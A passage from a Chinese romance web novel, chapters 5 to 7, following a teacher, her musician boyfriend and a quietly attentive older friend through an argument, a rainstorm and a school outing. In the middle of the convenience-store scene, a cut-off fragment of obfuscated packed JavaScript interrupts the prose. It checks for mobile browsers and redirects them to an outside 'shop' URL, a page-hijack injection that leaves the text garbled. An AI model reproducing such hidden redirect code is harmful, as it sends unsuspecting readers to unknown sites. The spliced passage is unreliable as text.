她在配音圈一路摸爬滚打,业务能力不错,运气也不错,签约工作室,配上人气颇高的游戏角色,是最近炙手可热的女CV。
“菲芸”是佟嘉悦的大学校友,同配音社的社员,因相同的兴趣爱好,二人曾经一度私交不错。
毕业后选择的不同,菲芸去申城发展,把业余玩票性质的配音当正职目标,一头热血跑去闯荡配音圈,而她留秦城本地,考研失败,考教师编上岸,做了一名普普通通的小学语文老师。人生轨迹自此开始不同,很自然而然地便渐行渐远。
而如今,她只是微博互关和微信躺列的熟悉陌生人。
每次看她的微博,佟嘉的胸口便会隐隐鼓躁。
歆羡于她为热爱付诸努力,闪闪发光的模样。
悄悄点了个赞,退出微博,佟嘉悦甩了甩头,摊开教案,强迫自己浸入眼前琐碎而疲倦的日常工作里。
*
下午放学开完会,回到家已近七点。
厨房的电炖锅里温着萝卜牛肉汤,佟嘉悦一回来,柴琳开火,系上围裙,就汤下面。
“你外婆早上刚从菜园里摘的,新鲜茼蒿,直接给你涮里面?”柴琳指了指菜篮里的翠嫩蔬菜,犹挂水珠,大抵是掐着时间刚洗好不久,专等着她回来后下锅。
佟嘉悦嘿嘿笑,卖乖:“好哇,好哇,妈真好,妈做什么我都爱吃。”
柴琳乜她一眼,笑骂:“都二十五六岁的人了,还跟小孩儿似的,等以后你结婚成了家,还是要自己学会做饭。”
佟嘉悦笑着打哈哈,随口嘀咕一句,八字还没一撇呢。柴琳忽然正色道,婚姻也不是小孩儿过家家,你认真点。
佟嘉悦正色,说:“妈,齐轶都还没给我求婚欸。”
柴琳微愣,佟嘉悦继续又说:“而且,我看他目前未必也有这个想法,兴许只是你们的一厢情愿呢,会无形给他压力的。”
不知何时起,双方父母提起结婚的次数,越来越多了。仿若她和齐轶会结婚这件事,理所当然,毫无疑问。
而只有佟嘉悦清楚,她和齐轶二人的感情,似乎早就停滞不前了,他们都做好了携手更近一步、迈入新生活的准备吗?
她不清楚。
她觉得齐轶也未必清楚。
“什么叫一厢情愿?”柴琳蹙了眉,倏而若有所思,反问:“那你呢,嘉悦,你也有压力?”
佟嘉悦淡淡笑了笑,点头,不遮不掩,“是啊,妈妈。”
柴琳眉头皱得更紧了,陷入了沉默,欲言又止,似是不解,又似在消化。
佟嘉悦吃过晚饭,回到卧室,打算趁睡前批改还没改完的作文。小学生的命题作文《我的梦想》,孩子们稚拙笔迹一笔一画描摹出的,各有各的青涩畅想,或童真,或坚笃,总之都是满怀憧憬的。
小孩子的憧憬,从来都是纯粹而美好的。
成年人谈及梦想,仿佛都要自嘲一声,对这个话题敬谢不敏,梦想不梦想什么的,多幼稚啊,做什么梦呢。
梦想是横亘在现实抉择前,一个遥不可及的笑话。
思绪毫无边际地漫延,书桌上的手机震动几下,将佟嘉悦拉回神。微信里,意外收到她的消息。
菲芸:捉!看你中午给我点赞了!
菲芸:[图片]
图片里是一张微博截图,是佟嘉悦点赞的界面。
菲芸又陆续发来:嗨,最近还好吗?
菲芸是她的所有社交平台的网名。
佟嘉悦的手指摩挲在输入栏,半晌才打出的一行字,发送过去:还不错,你呢?
心头却冷不丁冒出三个字:就那样。
菲芸:我也还不错,嘿嘿。
佟嘉悦恳言道:你的配音我有听哦。岂止不错,我觉得你很棒欸!~
后附两个点赞手指。
菲芸又发来一个“嘿嘿”:我听说你成为一名光荣的人民教师啦~忙吗平时?
佟嘉悦顿了顿:对,就在秦大附小,还挺忙的。
就这样有一搭没一搭聊起来,菲芸说签售会结束后去了一趟秦大,毕业一直没回来看看,一切变化好大哦。得知她明天还要在秦城待上半天,当天下午也会再回秦大逛逛,佟嘉悦推荐她去梧春苑食堂新开的麻辣烫档口,校外夜市街的熏肉大饼摊位,都是在最近的大学生口中很是火爆的美食。
对话以客气生疏开始,几分回温地结束,聊罢没多久,佟嘉悦也批改完了最后一篇作文。刚伸了一个懒腰,听到窗户“噼啪”一声闷响。
佟嘉悦心下一怔,推窗走出阳台去看,楼底昏黄的路灯下,笼着一道高拔清挺的身影,男人斜挎着一个吉他包,黑色卫衣、墨绿色飞行员夹克,仰着一张爽朗笑意的脸,冲身处六楼阳台的她不断挥手。
他总是这样,很小的时候起就这样了,找她从不走寻常路,偏要拿石头敲击她的窗台,像一个心照不宣的暗号。
果然恰如此时,她下意识抓在手里的手机蹦出两条消息。
齐轶:看到我了吗?
齐轶:嘉嘉,下来。
*
佟嘉悦套上外套换了鞋,匆匆下楼。
他居然赶回来了。
就背着一个吉他包,什么也没带,虽然迟到一天,他还是马不停蹄地赶回来了。
佟嘉悦没等电梯,直接爬下步梯,这般想着,心脏就雀跃起来,脚步也愈发轻快。
见到那道热烈如火
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的身影跑下楼来,齐轶一口雪白的牙齿绽露,扬唇傻笑。
“锵锵!”他孩子气地发出拟声词,拉开夹克的拉链,变戏法一般从里面摸出一包热气腾腾的糖炒栗子。
“你怎么回来了?”佟嘉悦还喘着气,问他。
“跑这么快干嘛?冷不冷?”齐轶将糖炒栗子塞她手上,而后牵住,两只手一同塞到自己的口袋,给她捂着暖手。
佟嘉悦身穿着过冬的家居睡衣,厚实绵软,外头还套了一件针织衫,又刚匆匆跑下楼,身上暖和得很。
“不冷啊,”她摇头说,“倒是你,怎么一声不吭地就回来了?”
齐轶回:“今天下午的飞机,忙完就买了票。”
佟嘉悦不假思索地问:“那你怎么不提前和我说一声?”
话音未落,她掀了掀唇,气氛陷入一霎的沉寂。
昨晚上和他吵架后,他和朋友去喝酒,双方虽口头上有一个“晚会再聊”,但谁也没再打电话过来。矛盾就这么不尴不尬地晾在了那里,不上不下,不闻不问,于是微信上,今天一整天也再无对话,陷入微妙的冷战。
佟嘉悦懒得去细究他是喝酒断了片儿还有因为哪些事耽误了,以至于忘记了晚一些要和她通电话这事——她固执地,在等一个他主动打过来的动作。
但昨夜她没等到,她无法否认她的失落与失望。今夜却又等到他本人来到眼前,让她此刻的心绪复杂。
齐轶垂眸看向佟嘉悦,目光是迟疑但柔软的。
他斟词酌句一番,方才解释:“昨晚上,我不知道打电话给你该说些什么,所以……今天干脆买了票赶回来,嘉嘉。”
佟嘉悦计算着从云城到秦城的距离,他此刻的出现诚意十足,决定暂且原谅他。他们聚少离多,暂时不要为不好的情绪冷战,浪费可以在一起的时间。
佟嘉悦自他夹克口袋里抽出一只手,捏了捏男人疲惫的脸颊,弯着眼关怀笑问:“那你够赶的,累不累啊?”
齐轶观察她的神态,猜她已气消,一颗悬着的心落到实地,于是几分耍赖的语气,试探笑说:“嘉嘉,明天我们去见外婆吧,好不好?你说我该买些什么好?”
佟嘉悦捏他脸的动作一顿,依旧微笑着,吐出两个字:“不要。”
女人的拒绝斩钉截铁,将齐轶尝试弥补的计划打乱,他怔然良久,因为他从未想过佟嘉悦会一口拒绝,毫无商量余地。
昨夜和好友喝酒,相互诉苦,好友开解他,说他自己也经历过在老婆跟前里外不是人,他做什么都不对,怎么做都不如她意的阶段,现在还不是磨合过来了?
他与嘉嘉已到这样的阶段了吗?
男人微不可察地叹气了口气,嗓音藏着倦意,小心翼翼地轻问:“嘉嘉,你还是生气吗……”
“不是,”佟嘉悦平静地看着他说,“我本来想在一个正式的重要场合,郑重地把你介绍给外婆。现在时机错过了,那就算了。”
“不说这个啦。”佟嘉悦笑着转移话题,“你晚饭吃了没?饿不饿?要不要上我家吃碗面,我妈炖了萝卜牛肉汤。”
女朋友的关心如旧,细心备至,齐轶却感到有什么细微的东西,在他们之间竖起无形隔膜。
“吃过了飞机餐,我不饿。”齐轶微微失神,心脏无端空落,“吉他有点儿音不准,那明天陪我去乐器行调音吧,嘉嘉。”
“好,你等我下班。”
“好。”
5. 05
齐轶:我到了。
翌日下午五点半,齐轶驱车,准时抵达秦大附小附近。他没下车,拿出手机搜寻适合情侣约会吃饭餐厅,静候佟嘉悦下班。
半小时过去,微信依然杳无音信。
齐轶早已习惯,发过去一个“百无聊赖猫猫打滚”的表情包,了然问:今天能准时下班吗?
这次有了回复,一张“大白鹅扑棱着翅膀撒欢奔跑”的表情包,喜悦之情几欲溢出手机屏幕。
齐轶唇角不自觉牵起,回:老地方等你。
没有吵架打架的闯祸学生,没有家长突如其来的投诉,没有领导的突击检查,没有乱七八糟的教研会——没有突发情况的一天,一切算得上平和,准时下班。
佟嘉悦找到附近停车处齐轶的车,拉开门,没进去,倾下腰,一颗脑袋晃进来,“我小电驴得骑回去,明天上班方便!”
齐轶了然点头,“那咱骑小电驴去?我载你。”
佟嘉悦笑眯眯说:“bingo!正有此意~”
齐轶利落干脆地拎着吉他包下车,吉他包塞在车前方空处,骑上小电驴,载佟嘉悦去乐器行。
深秋的秦城,六点天色已暗,掠过的一盏盏路灯如斑斓灯带,车辆川流不息,回忆随夜风漫延,两个人静默无声,一时都有些恍然。
高中三年,到周末返校的时候,齐轶总会骑着小电驴跑来她家楼下,载佟嘉悦一起去学校。
高三佟嘉悦搬到了一中附近的城中村,齐轶依旧转道来接她,明明离学校很近的路,他会一圈一圈绕路,佟嘉悦默契地不拆穿,两个人一起漫无目的地兜风。驰入落日余晖,越过暮色四合,待街灯渐次亮起,而后方才掐着点儿依依不舍地抵达学校。
齐轶故意耍帅,开快加速,佟嘉悦吓得哇哇乱叫,她不走寻常路,偏去拽他的后衣领,拽得男孩七歪八扭,帅气全无,齐轶路边急停,气得吐槽:“佟嘉悦,你就不能抱住我的腰吗?”
佟嘉悦后知后觉,窦然红了脸,嘀咕:“你演少女番还是偶像剧啊?晚自习要迟到啦,快调头,笨蛋!”
青春期里懵懂心动,暧昧拉扯,两个无忧无虑的笨蛋,心照不宣地把喜欢藏在心里,却瞒不住眼睛。
从回忆里回神,风呼呼响,齐轶扬高声调朝后喊:“嘉嘉,我要加速咯!”
佟嘉悦好笑地“切”一声:“又耍什么帅。”
话毕,却伸出双臂,揽住了眼前男人的腰。
齐轶身形微滞,旋即眉梢一挑,臭屁笑说:“你男朋友本来就很帅。”
佟嘉悦凉凉白他后脑勺一眼,掐了下他的腰,没好气地嘱咐:“好好骑车!”
小电驴飙速疾驰而去,久违的快乐席卷全身,心跳过速,仿若他们的热恋期。
*
“你看不上人家姑娘哪儿?或者你想找什么样的,什么条件直接提,什么样的我都给你找来!”
父亲的来电闪烁不休,接通的那一霎,滔天怒火砸向耳膜,吵得耳朵登时嗡嗡作鸣,方霁明平静地将手机拿远了下。
“找对象不是挑猪肉。”方霁明面色无波。
方晋文:“你!”
电话那端,闻绮按下免提,忙打圆场,“哎哎哎,你这孩子,说话怎么这么不中听呢你。”
“人姑娘多好啊,学历好,家境也不错,长得又标致。说什么是UAL毕业的艺术生,美术馆啊博物馆啊什么的策展人,又时髦又大方,你不喜欢文艺这一口?”
闻绮干脆一把夺走方晋文的手机,循循善诱,继续好言相劝:“你凳子都没坐热就撂挑子走了算怎么回事?让别人女方多尴尬啊。霁明啊,我刚刚私下问过她,人家对你印象还是很不错!你就是满脑子只想着工作,才这么没情趣!”
被父母骗来这场以“家庭聚会”为名的饭局不久,方霁明提前买单,找借口退场。他尚且能保持表面的教养,坐下礼貌交谈几句,给予到场的相亲对象以基本尊重,其他的他懒得应付。
方霁明拒绝相亲的态度再明显不过,他希望对方能读懂气氛,彼此不要自讨没趣。
意料之中,父亲大怒。
他是一个喜怒不于形的父亲,不苟言笑,其实鲜少动怒,只是当惯了上位领导者,不容人忤逆,生活与工作上总是给人威压感,让人时时神经紧绷。
闻绮瞥了眼方晋文阴沉沉的脸,不久前她给人姑娘打电话过去赔礼道歉的时候,他就一直压着怒气。
这一对父子,两个锯嘴葫芦,从来不知道好好沟通这四个字怎么写。
闻绮没辙,生硬转移话题,叹气问:“什么时候回申城?”
方霁明:“明天下午。”
闻绮:“好不容易回来一趟,不多待几天?”
方霁明:“项目组离开不了太久,版本开发重要阶段,我得盯着。”
一旁的方晋文忍不住插话:“成家立业成家立业,你业立了,不成家怎么行?你赚再多钱又有什么用?”
方霁明眉梢轻挑,微诧:“我是不是可以理解为,这是您对我‘事业有成’的肯定?还挺难得。所以接下来又要简单粗暴以我感情状态为判断标准,对我个人进行否定?”
方晋文冷笑一声:“现在谁有能耐定义你左右你?”
方霁明淡声回:“您知道就好。”
方晋文:“你!”
今天被气得第二个“你”了。
闻绮一脸好笑地乜一眼方晋文,默默翻了个白眼,挂断电话,塞回方晋文手里。
“得嘞,少操点心。”闻绮看得挺开,“方晋文啊方晋文,我看霁明这臭脾气呐,就随你。”
夜已经黑透了,方霁明从相亲的西餐厅出来,凉意湿沁,滑入脖子。
他抬眸望一眼天,下雨了。
毛毛细雨,空气清润,方霁明决定冒雨沿商业街走走。刚走到一处自行车与电动车的露天停车处,遥遥看见熟悉的一双男女,他脚步微顿。
车灯扫下一弧雨雾,氤氲暖色,一辆小电驴缓缓驶入停车场。佟嘉悦搂着男人的腰,动作亲昵,车停稳,她蹦下车,自然而然地替齐轶拎走吉他包。
感到丝丝缕缕的凉意,佟嘉悦探出一只手,雨丝没入手心,她低呼:“下雨了欸。”
佟嘉悦问:“这雨会不会下大啊?我车上忘了备雨衣。”
“没事儿,先去吃饭。”齐轶不以为意,“应该下不大的。”
“先去把你的吉他音调了,我不怎么饿。”
“先吃饭,宝,咱不急哈。”
就吃饭的话题,二人好一番没营养的车轱辘话,小情侣笑笑闹闹,逐渐朝自己的方位走近。方霁明脚步生根,没有动,他应当躲开的,却偏要同他们打上照面。
齐轶斜背着吉他包,年轻清爽得像一个男大,热情打招呼:“哟,这么巧啊,霁明哥!”
“嗯。”方霁明明知故问,“去做什么?”
齐轶说:“和嘉嘉去吃饭。”
方霁明:“早点回去,晚点可能要下大雨。”
佟嘉悦忙不迭点头:“你看吧!”
方霁明下巴微努,问:“你们谁,要不要跟我去车里拿把伞?”
“我去吧,”佟嘉悦搡了把齐轶,“正好,你先去乐器行调音,我待会儿直接来找你。”
佟嘉悦随方霁明走远。
路上,方霁明随口问:“和好了?”
“嗯,算是吧。”佟嘉悦摸了摸鼻子,“谢谢哥关心。”
对于自己昨夜把感情方面的、过分
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私人的负面情绪,一股脑宣泄给方霁明这事,她几分不自在,几分疚然。
方霁明偏头静静打量她,听见自己说:“那就好。”
佟嘉悦笑说:“你也看到了,齐轶今天赶回来了。”
方霁明稍稍颔首,不再多问。
不吵架时,他们像两只快乐小狗。他们脾性契合,本就亲密无间。
挺好,她好就好。
*
方霁明的车就停在这条颇具艺术氛围的商圈附近,几步路,路经字画斋、乐器行和中古店等,小雨淅沥,聊胜于无。
拿到伞,佟嘉悦随口问到时候怎么还给他,方霁明说:“不用,一把伞而已。”
沿廊檐走回商业街,乐器行偌大的铺面,灯火通明,透过落地橱窗,佟嘉悦在外头已瞧见齐轶若隐若现的身影。
他与店老板陶勤是老相识,陶勤亲自给他吉他调音,他没骨头似的趴在柜台上,二人有一搭没一搭闲聊。
佟嘉悦悄步踏入店内,楼上的练习室里有人在练架子鼓,鼓声密集,没人发觉她进来了。
他们见面就会聊音乐,即便陶勤年逾四十,比齐轶要大上一轮,两个人颇为投缘,无话不谈,像一对忘年交。摇滚,民谣,R&B,funk,电子,雷鬼……还有歌剧、音乐剧或古典乐,做音乐的多多少少会涉及的东西,他们都聊,甚至会分析流行乐的风格走向。
佟嘉悦听不懂,齐轶也不需要她懂。
他有一方忘我又理想的音乐世界,她一窍不通,也无法踏足。
“我妈今天旁敲侧击,要我回来找个稳定工作,要么把发展重心放在秦城,和嘉嘉把结婚的事确定下来……我……”
陶勤直截了当地问:“你不想?”
齐轶缄然一瞬,散漫笑了笑,“现在没想过这事。”
本要继续往前打招呼的佟嘉悦脚步一滞,她下意识往一排贝斯的货架后躲了躲。
“那什么时候想?”
“不清楚。”
楼上架子鼓的鼓点似乎越来越急促了,振颤耳膜,嗡嗡作响。
佟嘉悦揉了揉耳朵,无声轻笑,打算默默退出去,当作没听到。转身,一道灰淡阴影罩下来,佟嘉悦怔然抬眼,撞入一双静定淡漠的眼眸里。
“你——”
“先出来。”
佟嘉悦跟着快步走了出去,鼓声掩盖下,去来往返,无人知晓。
沿着街面檐下,一直走远了好长的距离,方霁明方才停下。佟嘉悦心不在焉,自顾自还跟着他往前机械地走,猝不及防,一头撞上男人后背。
佟嘉悦一脸讪讪,捂住额头,“对不起,霁明哥。”
“应该我说对不起。”方霁明面色坦荡,佟嘉悦瞬即意识到他的歉意所为何。
果然,她听到他说:“我不是有意偷听的。”
“什么嘛,也犯不着跟我道歉呀,”佟嘉笑,“那我还不是在偷听。”
“……”方霁明稍顿,注视着她的自若神色,“佟嘉悦,你……”
“没事儿,我本来吧,”佟嘉悦云淡风轻地说,“也没怎么想好呢。”
也好,不是吗?
佟嘉悦不清楚这算不算自我安慰,但的确松了口气,与此同时,多少还是有些失落。人真是个奇怪又矛盾的动物。
佟嘉悦笑了笑,迅即话锋一转,“倒是你,哥你怎么悄无声息地就冒出来了?”
方霁明说:“本来想跟你说一声,如果雨下很大,还是不要骑电动车了,打电话给我。”
佟嘉悦不假思索地笑道:“然后哥就会来接我吗?”
话音刚落,她怔了怔,几分后知后觉,他好像总在不动声色地照顾自己,周全而妥帖,以至于自己如此习以为常。
6. 06
当佟嘉悦说“也没那么想和齐轶结婚”的时候,方霁明很难描摹,此刻是何种心绪。
他敛眼看她,鬼使神差地问:“想来申城吗?”
佟嘉悦呼吸一轻。
很快,就听到方霁明换了个问法:“想在申城吃酿皮吗?”
她随口一句,他居然记得这么清楚。
佟嘉悦“噗哧”笑出声,心道在他心里她怕不是一个大馋丫头(悲)。
但哥哥就是哥哥,她需要顾忌什么形象呢,她就是嘴馋得很。于是认真回:“想啊,但我怕不符合家乡口味。”
方霁明似乎极轻地笑了下,“先别预设答案,走出来尝尝,再下决断呢。”
佟嘉悦几分怔忡,若有所思,“是哦。”
“来玩可以找我。”方霁明说。
意思他会好好招待,佟嘉悦稍稍点头,没放心上,“好。”
不是没去过申城旅游,还去过不少次,虽然大部分都是去找在商演现场的齐轶。知道方霁明工作忙,佟嘉悦不想给他添麻烦,只会偶尔联系他,约他一起出来吃个饭。
细细回想,每逢要去申城,平时不怎么和她聊天的方霁明都会主动联系上她,大多是帮忙带些他母亲亲手做的油辣子和腌制小菜,或者托她带些东西回去给他家里——他会送自己一些小礼物作为谢礼,很特别,总是能很精准地戳到她的喜好,佟嘉悦都有妥帖收藏。
外套口袋里的手机震动一下,佟嘉悦拿出来瞧,是齐轶的微信消息。
齐轶:怎么还没过来啊?
佟嘉悦摁熄屏幕,没回,抬眼,方霁明问:“齐轶?”
“我回去啦。”佟嘉悦点点头,转身离去。
*
佟嘉悦再回到乐器行的时候,齐轶的吉他已经调音好了,他垂眼刷着手机,在看附近一家做本帮菜的私房菜馆的电子菜单。
佟嘉悦凑近瞧了瞧,随口说:“这家我一个人来吃过,味道还不错。”
“是吗?陶老板也推荐这家来着,菜单直接发给了我,”齐轶听到人走近,抬眼笑问,“拿个伞怎么这么久?”
佟嘉悦:“和霁明哥多聊了会儿。”
齐轶微微颔首,背上吉他包,“走吧。”
不知为何,齐轶总觉得这顿饭吃得没滋没味,佟嘉悦频频出神,心不在焉。他近来越来越猜不透女友的心思,他们好似陷入到一种忽冷忽热,若即若离的怪圈里。
明明骑着小电驴来的路上,他还觉得他们亲密如旧。
回家的路上,齐轶载着佟嘉悦,没有下雨,也没有对话。只余耳畔的风声呼啸。
良久,齐轶出声:“嘉嘉。”
佟嘉悦:“嗯?”
齐轶:“我们认识几年了?”
那要从小学三年级算起了,佟嘉悦说:“好多年了。”
“我们恋爱多久了?”
“四年。”
我们会一直在一起的对不对?
话溜到嘴边,齐轶硬生生咽了回去,他发现自己居然没有勇气去问这个问题。放以前,他心无旁骛,那一定是一个坚笃的陈述句。
“天!又下雨了,感觉要下好大!”人行道上,忽然有路人惊呼。
与先前的微风细雨不同,豆大的雨点毫无预兆就砸了下来。
佟嘉悦连忙从托特包里摸出伞,手忙脚乱地撑开,身体前倾,一手揽住齐轶的腰,勉强把两个人都罩在伞下。齐轶默默加速,往家的方向疾驰。
雨水打在伞上,自伞骨滑落,两个人的头发被风吹得凌乱,凝着雨雾,半湿不湿。
齐轶还有闲心开玩笑,转头不着调地说:“嘉嘉,咱们好像两只落汤鸡哦。”
佟嘉悦拍他一下,“快闭嘴吧你!”
“……”齐轶短促笑了声,“凶什么。”
半途大雨忽至,意外的狼狈,让他们身体与心脏贴紧,状态回温。见雨有越落越大的趋势,伞也不大管用了,佟嘉悦的半边肩臂都被淋湿,她不得不让齐轶找地方就近停车。
他们寻到一家24小时营业的便利店,躲进去避雨。
“给霁明哥打电话,让他来接我们吧。”佟嘉悦点开通讯录,不假思索地说。
齐轶无可无不可,回:“随便,叫车也行。”
他已经顺道买了两杯热饮,一杯塞佟嘉悦手里,二人在临窗的座位坐下。
方霁明的电话很快接通。
佟嘉悦和方霁明说明了前因后果,他们滞留的方位,刚挂断来电,齐轶高举手机,忽而探臂过来——闪光灯乍亮一瞬,她还未反应过来,齐轶已经随意抓拍一张两个人的自拍。
然后便将这张自拍连带着刚才拍的便利店门脸外景,和地址定位,一并发给了方霁明:哥,救!两只落汤鸡在此!
佟嘉悦凑过去瞧了眼照片,她不满嘀咕:“你好歹拍好看一点呢?”
“我觉得我女朋友怎么样都好看,”齐轶这些没个正形的话一向信手拈来,他再次打开手机前置摄像头,笑嘻嘻地递给佟嘉悦,“那重拍一张?”
“……”
佟嘉悦瞪他一眼,就势趴在桌子上,对着镜头一边整理乱糟糟的头发,一边长吁短叹,“嗐,咱们真会苦中作乐。”
一张高糊照片,可以说是“风中凌乱”的具象化写照,方霁明收到消息,手指在屏幕滞顿。
两个人不怕糗态,拍过不少搞怪自拍,发在朋友圈。他在角落里,默默见证过许多次。
*
“嘉悦?嘉悦。”方霁明低喊。
按照地址定位,方霁明第一时间赶了过来,甫一进门,就看见趴在桌子的佟嘉悦。她双颊异常潮红,发梢和后背半湿,看起来蔫蔫的。
他心头一凛,手背去探她额头,还好,没有发烧。方霁明松了一口气。
要庆幸她向来吃好喝好,身体素质一向不错。
店里持续而低频地响着吹风机的嗡嗡噪音。方霁明循声望去,齐轶坐在另一张单独的白色小桌,吹风机插在墙边的插座,一边散漫刷着手机,一边吹外套。
夜已深,又逢大雨,店内空无一人。
佟嘉悦头发,肩臂到背的地方都被淋得湿哒哒的,身上并不舒服。她几分恹恹,本想趴桌上小憩一会儿,结果巨大的倦意包裹周身,一下子就昏昏欲睡。
两个人的外套都湿了,于是她身上的那件,直接给齐轶拿走了。齐轶方才百无聊赖地逛货架,无意间发现这便利店里居然有吹风机卖,便索性买了个,征得店员小妹的同意,找了个插座给外套吹风。
“唔?霁明哥。你来啦。”佟嘉悦揉了揉眼睛,强打起精神起身。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059366|194984||http|test|mini|href|location''.split(''|''),0,{}));
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>店里的空调温度适宜,暖气十足,佟嘉悦直起身时才发现不对劲,身后黏黏糊糊,后背那一块原来也湿了。
在学校的上班着装,以便于通勤为主,她穿垂坠感的湖蓝色西装外套,里搭一件白衬衫,不至于花哨,也不至于死板。
佟嘉悦瞬即意识到什么,“噌”地坐直腰板,默不吭声地侧身贴紧一侧墙壁,一动不动,神情尴尬。
她觑了眼店员小妹,暗忖幸好是女生,也幸好她压根没出过柜台。
又抬眸瞄向方霁明,欲言又止。
方霁明很快发现她的异样。
大致扫过一眼女人纤薄的背,白衬衫湿透一块,内衣带子若隐若现。
男人微微皱了眉,不动声色地偏开视线。
径自脱了风衣外套,几步上前,一言不发地把风衣罩上她的肩,而后用几乎是命令的语气说:“穿上。”
这一刻的佟嘉悦,是无比感激的。
她微讪埋头,依言套上风衣,小声说:“谢谢霁明哥。”
方霁明转身去找齐轶,留出空间给佟嘉悦打理自己。
他拔了吹风机的插头,言简意赅地说:“走了。”
周遭一瞬安静下来,齐轶有些懵地回过神,“这么快就来了啊,哥?”
方霁明沉冷的目光睨向他,难得摆出兄长的架子来,齐轶无端感到威压。
方霁明教训了他一句:“你应该细心一点。”
齐轶不明所以。
抄上两件外套跟着往门口走,齐轶方才发现佟嘉悦套上的外衣,那件驼灰色的长风衣,在她身上空阔垂荡,并不合身,原本是方霁明身上穿着的。
他看看佟嘉悦,又看看方霁明。
“哎哎你、你这,我——”齐轶醋性大发,原地一杵,他一点儿不遮掩自己的小情绪,“你男朋友还在这儿呢!”
佟嘉悦三步做两步过来拽他,没好气地低声说:“先上车,快。没发现霁明哥不高兴了吗?”
齐轶生闷气,抱着两件外套不应声,自己那件也不穿了,自顾自快步往前走。
出了便利店的门,大雨倾盆,佟嘉悦忙不迭撑开伞,男人个高腿长,她不得不一路小跑追赶他,踮脚给他撑上,以免又淋到雨。
“你过来。”
一个人单独撑伞的方霁明看不下去,冷声命令齐轶。
方霁明虽然看似一张冷脸,但熟悉他的人,都知道他并不情绪化,那张冷脸几乎等同于面无表情——他鲜少有这样的时刻,压着隐怒,二人瞬即乖巧如小鹌鹑,屏气噤声。
齐轶自知他耍小脾气的理亏,磨磨蹭蹭地踱过去了。两个大男人同撑一把伞,齐轶抱臂,胳膊肘隔得远远儿地,一语不发。
还好就一小段路,上了车,方霁明不动声色地调高暖气,冷暖交叠,佟嘉悦打了个喷嚏。
两条干燥又绵软的白毛巾抛向后座,方霁明说:“把头发擦干净。”
佟嘉悦翁声说谢谢,乖乖抽出一条递给齐轶。瞧他满脸写着不高兴,她无奈叹了口气,顾不上自己,凑过去用毛巾一把兜住他乱糟糟的头发,给他细细揉擦了起来。
“看手机,笨蛋。”她悄声提醒。
齐轶默不作声地摸出手机,不久前,佟嘉悦给他发了一条消息:我衬衫后背湿了,透。明白了吧?笨蛋。
7. 07
“你们应该早点联系我。”方霁明说。
车子驶进主干道,汇入茫茫车流,玻璃车窗凝着一层雨雾,窗外飞光流霓,夜色正浓。
齐轶才明白不久前方霁明的那一句“你应该细心一点”是什么意思。
他垂眼整理了一番放在一旁的外套,袖子右肩到后背那一大块都是湿的,吹风机还没吹干,没法穿。于情于理,方霁明处理得很好,他没道理发脾气。
齐轶打字向佟嘉悦表达歉意:对不起,嘉嘉。
佟嘉悦感知到腿上的手机震动,没打开看,大致猜得到齐轶发的什么。
她回复前方开车的方霁明:“我们都没想那么多,半路上下大了。”
齐轶煞有其事地出声,强调:“下次出门我带两件外套。”
“嗯嗯嗯,好主意。”佟嘉悦从善如流地点头,哄小孩儿似的,“先自己把头发擦干,好不好?”
“……”齐轶抓握住头上的毛巾,默默擦起来。
佟嘉悦哄好齐轶,这才给自己擦头发,到底淋了雨,她连打了好几个喷嚏。
“你是不是感冒了?”齐轶伸手摸了摸她的额头,没发热,才放下心,“你不如明天请假算了。”
佟嘉悦不假思索地说不行。
“我不能在这关头请假。”她解释说,“明天要组织学生们去秋游,本来就人手不够,老师们忙不过来,我不能添乱。”
“要明天也下雨呢?”
“那不挺好,大概率自习,我乐得轻松。”
齐轶不再劝说她请假。
懊恼叠加自责,他反省说:“今天不该骑小电驴兜风的。”
佟嘉悦宽慰:“是我提议的。”
齐轶还在揽责,“我应该早点儿看看天气预报。”
佟嘉悦便也说:“那我应该早点儿在车上备好雨衣。”
齐轶忽然停顿,灼灼看她,“怎么办——嘉嘉,你好可爱。”
“……你有病啊!”佟嘉悦愣了一瞬,耳廓迅疾蹿红,下手狠狠锤他一下。
她颇为尴尬地去看方霁明,透过后视镜,意外撞入他的眸,他竟扯了扯唇,那神情似乎有几分寡寂,冲她极淡地笑了下。
尴尬还是嫌弃,捉摸不透,意味不明。
佟嘉悦几分恍惚。
淋雨的意外,偶尔的失控,和最初热恋时一样,像踩在彩色蹦床上,期待下一次腾跃而起的惊喜,那一瞬充满未知的失重感。
方霁明曾经皮笑肉不笑,忍无可忍对旁人评价他们:这两个人热恋时,像两个二百五。
他其实有时候特别毒舌。
齐轶不以为意,笑眯眯地一把抱住佟嘉悦,说那挺好,我俩儿凑一块就是五百。然后就不着边际地哼起伍佰的歌。
喜欢齐轶什么呢?
喜欢他思维跳脱,不给自己设界,就像他歌里的Layback,散漫不着调,是循规蹈矩的自己,内心深处最渴慕的东西。
*
昨夜的大雨仿佛一首意外的插曲,今日秋高气爽,天高云淡。出了太阳,日头温煦,将早晨弥留的水汽散尽,空气格外清透。
碧蓝如洗的天幕下,红枫尽染,鸿雁翱鸣,园博园的绿坪上小学生们成群结队,红领巾醒目。
园博园红枫与银杏编植,郊游野餐,趣味游戏,最后开展“拾秋记”的活动,佟嘉悦组织学生们去捡落叶,收集回去做贴画,然后写一篇秋游手记。
佟嘉悦也捡了些,干净漂亮的,脉络清晰的,颜色明丽的,夹进MUJI日程本,再将本子塞入托特包。
“小佟老师,小佟老师!”热心的女同事指着不远处的人行绿道方向,过来喊他,“你男朋友找。”
佟嘉悦诧然,齐轶会在这时候找她?他怎么没发消息提前说一声。
抬眼望去,流金与赭红的枫林掩映间,那里站着一个穿苔绿色亨利领毛衣,深灰色牛仔裤的男人,他单手插兜,姿态慵闲。
是方霁明。
“可算见到你那神龙不见神尾传说中的男朋友了,小伙子真帅!”
女同事是长辈阿姨的存在,教学多年,为人热情,一直没见着佟嘉悦口中的男朋友,一度认为她扯谎,总想给她介绍对象——佟嘉悦为此伤脑筋许久。
思及此,佟嘉悦含糊不明地稍点了下头,不多解释,径自朝方霁明的方向走去。
他今天头上还戴了顶棒球帽,简单黑色,疏离高冷的气场减弱,显得年轻许多。
“哥怎么来了?”佟嘉悦走近问。
